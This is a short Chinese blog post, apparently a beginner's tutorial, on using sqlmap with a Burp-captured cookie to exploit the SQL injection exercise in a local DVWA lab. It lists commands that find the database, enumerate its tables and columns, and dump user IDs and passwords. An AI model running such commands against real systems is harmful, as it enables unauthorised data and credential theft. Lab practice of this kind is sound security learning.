sqlmap基本用法_sqlmap --current-db-优快云博客

本文链接：https://blog.youkuaiyun.com/WANGtesting/article/details/45717923

本文介绍如何使用sqlmap进行SQL注入攻击。通过配置burpsuite抓取链接和cookie，利用sqlmap发现并利用DVWA平台上的SQL注入漏洞。文章详细演示了获取数据库名称、表结构及内容的具体步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

sqlmap基本用法
最近在学sql注入用法哦sqlmap ，so 大概学习了下
需要的攻击如下
python
sqlmap
burpsuite
dvwa

怎么安装搭配环境省略

dvwa中有个sql injection （首选等级选low）
用burpsuit抓链接以及cookie
打开sqlmap
添加cookie=””
–current-db:显示当前数据库名称
-u:后跟注入链接url
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” –current-db(显示当前数据库名)
显示表
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa –tables

5.得到表的结构
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa -T guestbook –columns
分别得到两张表
得到表的内容,制定需要显示的字段内容
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa -T users -C user_id,password –dump

注入完成，sqlmap会陆续更新>< 新手多多指教